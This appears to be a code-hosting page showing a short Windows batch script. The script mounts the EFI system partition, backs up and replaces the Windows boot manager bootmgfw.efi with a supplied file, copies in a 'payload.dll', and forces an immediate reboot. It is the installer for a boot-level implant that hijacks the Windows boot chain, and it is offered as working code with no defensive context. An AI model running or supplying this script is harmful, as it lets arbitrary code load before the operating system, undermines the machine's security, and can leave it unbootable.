You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

16 lines
439 B

3 years ago
@echo off
net session >nul 2>&1
if %errorLevel% == 0 (
mountvol X: /S
attrib -s -h X:\EFI\Microsoft\Boot\bootmgfw.efi
3 years ago
move X:\EFI\Microsoft\Boot\bootmgfw.efi X:\EFI\Microsoft\Boot\bootmgfw.efi.backup
xcopy %~dp0bootmgfw.efi X:\EFI\Microsoft\Boot\
xcopy %~dp0payload.dll X:\EFI\Microsoft\Boot\
echo press enter to reboot...
shutdown /r /t 0
) else (
echo Failure: Please run as admin.